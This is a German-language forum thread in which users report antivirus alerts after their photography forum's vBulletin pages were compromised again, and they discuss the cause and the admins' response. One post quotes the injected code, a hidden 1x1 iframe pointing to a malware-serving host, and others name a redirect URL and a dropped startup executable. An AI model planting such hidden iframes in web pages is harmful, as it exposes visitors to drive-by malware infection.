Forum schon wieder verseucht ?

[Fawkes84]

Hab bei mir die gleiche Meldung von Avast.

 

[Gast_234139]

Bei mir auch ... bei jeder zweiten oder dritten Seite :rolleyes

wird zwar von Norten 360 blockiert, nerft aber langsam

 

[CarstenHH]

Naja, das Tierchen wird wohl einen warmen trockenen Übernachtungsplatz gefunden haben.

 

[-drs-]

also wenn ich richtig verstehe ist auf dem Server eine Datei modifiziert... ich habe hier einen Scannprotokoll von Anubis erhalten, der dieses Forum auch als „klein" gefährlich einstuft... mögen bitte die Spezialisten sich das Protokoll genauer anschauen... (siehe Anhang)

 

[Gast_234139]

naja, das tierchen wird wohl einen warmen trockenen Übernachtungsplatz gefunden haben.

what ???

 

[Gast_99693]

Das Iframe hat sich diesmal wieder direkt in allen Forenseiten genau über dem DSLR-Forenslogo eingenistet, wie es schon beim ersten Angriff war:

<!-- logo -->
<a name="top"></a>[COLOR="Red"][B]<iframe src="http://ixv36477.ipq.co/?r=302" height="1" width="1" border="0"></iframe>[/B][/COLOR]
<table border="0" width="100%" cellpadding="0" cellspacing="0" align="center">
<tr>
	<td align="left"><a href="index.php"><img src="images/misc/logo_dslr-forum.gif" border="0" alt="DSLR-Forum" /></a></td>
        ...

Bei mir schweigt übrigens NIS, weil ich in NoScript IFrames verboten habe und dieser ipq.co-Mist in NoScript nicht freigegeben ist.

Allmählich nimmt das aber durchaus besorgniserregende Formen an. Hat das VBulletin-Team wirklich noch nichts weiter herausgefunden, woran das liegen kann? Oder gibt es doch noch eine ganz andere Lücke außerhalb von VBulletin, z.B. bei der Administrations-Software der Forums-Server? Oder ist es irgendein exotisches VBulletin-Plugin? Liegt es evtl. an der EXIF-Daten-Anzeige?

Blöderweise findet man bei google auch keine Hinweise auf andere Foren, weil z.B. Suchanfragen, die "vbulletin" enthalten dann auch immer das "Powered by vBulletin" am Ende der Seiten finden, wenn in einem vBulletin-Forum darüber disktuiert wird, aber dabei geht es eben meistens nicht um vBulletin direkt...

 

[CarstenHH]

Naja, es ist ja bestimmt wieder eine Datei auf dem Server verändert worden. ist mir irgendwie unerklärlich, wie man da den Zugriff drauf erlangen kann.

 

[Frank-2.0]

ich kann das forum jetzt nicht besuchen.
andauernd folgende warnung:

 

[Kurt-oe1kyw]

Bei jedem Seitenaufruf vom Forum schlägt KIS mit dieser Warnmeldung an:
(siehe Anhang unten)

 

[abacus]

Bei mir erscheint seit einigen Stunden

C:\...\Internet Explorer\IEXPLORE.EXE (PID: 3048):
Download des Objekts htpp://ixv36477ipq.co/?r302. Es
enthält schädlichen Link. Verboten.


abacus

 

[day light]

Bei mir erscheint seit einigen Stunden

C:\...\Internet Explorer\IEXPLORE.EXE (PID: 3048):
Download des Objekts htpp://ixv36477ipq.co/?r302. Es
enthält schädlichen Link. Verboten.


abacus

Bei mir das gleiche

 

[wiesel201]

Bei mir sieht es so aus:

 

[Murcielago]

Der kleine Kasten links oberhalb des Logos wird wohl was damit zu tun haben …

Rüdiger und Thomas sind von einem Teamkollegen alarmiert worden. Der Zeitpunkt ist natürlich denkbar schlecht, weil wohl beide menschlichen Bedürfnissen (-> Schlaf) nachgehen …

 

[karlomat]

Bei mir sieht es so aus:

Ja, da scheint ein iFrame vor dem Logo (und damit auch direkt überall) zu liegen, der den Link aufruft, welcher dann auf

http://vnvyrasdf.cz.cc/forum.php?tp=5c45fbaeedb544e4

umgebogen wird.

Was nun von da aus zum User kommt, kann ich nicht sagen. Irgendwelche .echsen habe ich bei mir nicht festgestellt.

Admins sind informiert und ich gehe davon aus, dass die betroffene Datei asap ersetzt wird.

Es bringt meiner Meinung nach nicht besonders viel, wenn jetzt jeder sagt, dass er sinngemäß dieselbe Meldung erhalten hat.
Anders sieht es aus, wenn jemand tiefer dahinter blicken konnte und sein Wissen dann hier mitteilt.

Am tollsten wäre selbstverständlich, wenn das vBulletin-Team bald zu einer endgültigen Lösung käme.

/senf

 

[karlomat]

Der kleine Kasten links oberhalb des Logos...

... ist eventuell nicht für jeden sichtbar. Safari zeigt ihn. Jedenfalls unter OS X - was andere Browser da (nicht) zeigen, kann ich nicht sagen.

 

[CarstenHH]

Naja, der zeitpunkt wird wohl schon expliziet ausgesucht. In der Nacht von Montag auf Dienstag war es ja zu einer ähnlichen Zeit.
Da wird es wohl langsam Zeit, sich mal Gedanken über einen Notfallplan
zu machen und de nModeratoren bessere Kompetenzen ainzuräumen.
Kann ja nicht sein, dass das Forum 2 mal die Woche als Virenschleuder
aktiv ist. Selbst nachts sind ja noch viele User am lesen und schauen.
Aber ich glaub da rede ich gegen Windmühlen, hatte da mit Steffen R. auch schon drüber geschrieben.

Dann hat das Tierchen eben einen warmen trockenen Übernachtungsplatz
neben dem Logo. Bis es mal ein Tierchen ist, das kein Virenscanner erkennt und was mehr Schaden anrichtet.

 

[karlomat]

Naja, der zeitpunkt wird wohl schon expliziet ausgesucht. In der Nacht von Montag auf Dienstag war es ja zu einer ähnlichen Zeit.

Möglicherweise mag das daran liegen, dass es auf diesem Planeten >1 Zeitzone gibt. Es heißt ja Inter- und nicht Deutschlandnet...

Und meiner Meinung nach sollte sich das Team des Herstellers dieser Software mal einen Plan ausdenken.
Auch wenn es einige nicht gerne lesen: Dies ist ein Forum, das in der Freizeit moderiert und administriert wird. Schichtdienste sind daher schlicht nicht drin. Es ist niemand aus dem Team 24/7 oder sonst zu festen Zeiten hier.

Und wenn jetzt jeder Mod Adminrechte hätte, könnte durch gut gemeinte sponate Aktivitäten noch mehr in die Binsen gehen, als es derzeit durch diese dumme Lücke der Fall ist. Die Software selber ist komplex genug. Die Kiste dahinter muss man erst einmal kennen, um sie administrieren zu können. Aber das weißt Du vermutlich. Du bist ja aus der Branche.

 

[Nasus]

Sodele

Wollte sich im Startup eben eintragen unter:

C:\users\xxxx\appdata\Roaming\Myxa\eqry.exe


Wird das jetzt zur Routuine, dass man sich hier nur noch mitm Netbook einloggen kann, das danach platt gemacht wird?
Woher kommt der Dreck eigentlich?
'Mal ein Angriff' kann ja mal vorkommen - aber als Dauerzustand nicht tragbar.
Tschüss.

 

[CarstenHH]

Ich denke aber schon, dass es sinnvoller wäre, das Forum in so einer Situation lieber vom netz oder in den wartungsmode zu nehmen, als selbst in der nacht noch 300-500 Usern dem Tierchen auszusetzen.
Für mich ist das Fahrlässig, aber da hat jeder ein anderes Empfinden.
Ich denke schon, dass es machbar ist, einigen Moderatoren einen Weg zu zeigen, wie sie das Forum vom Netz nehmen könnten.

Das sowohl Montag Nacht wie auch heute nacht noch einige Moderatoren online sind, zeigt doch, dass Ihr den 24/7 Mode freiwillig macht und zu fast jeder uhrzeit, aufgrund der masse an Moderatoren, fast immer einer Online ist.

Was macht ihr, wenn Aufgrund der Situation, einige Virenscanner die Seite als gefährlich ausweisen und sperren ?
Einen heftigen Hilfeschrei, als es zeitweise so war, gibt es von Rüdiger schon in einem anderen Forum.
Schon mal über das Image nachgedacht, wenn es die nächsteZeit so weiter geht ? Diese Woche sind es bereits 2 Nächte mit Trojanern.

 

[wiesel201]

Wollte sich im Startup eben eintragen unter:

C:\users\xxxx\appdata\Roaming\Myxa\eqry.exe

Das Verzeichnis "Myxa" kann er bei mir nicht mal anlegen.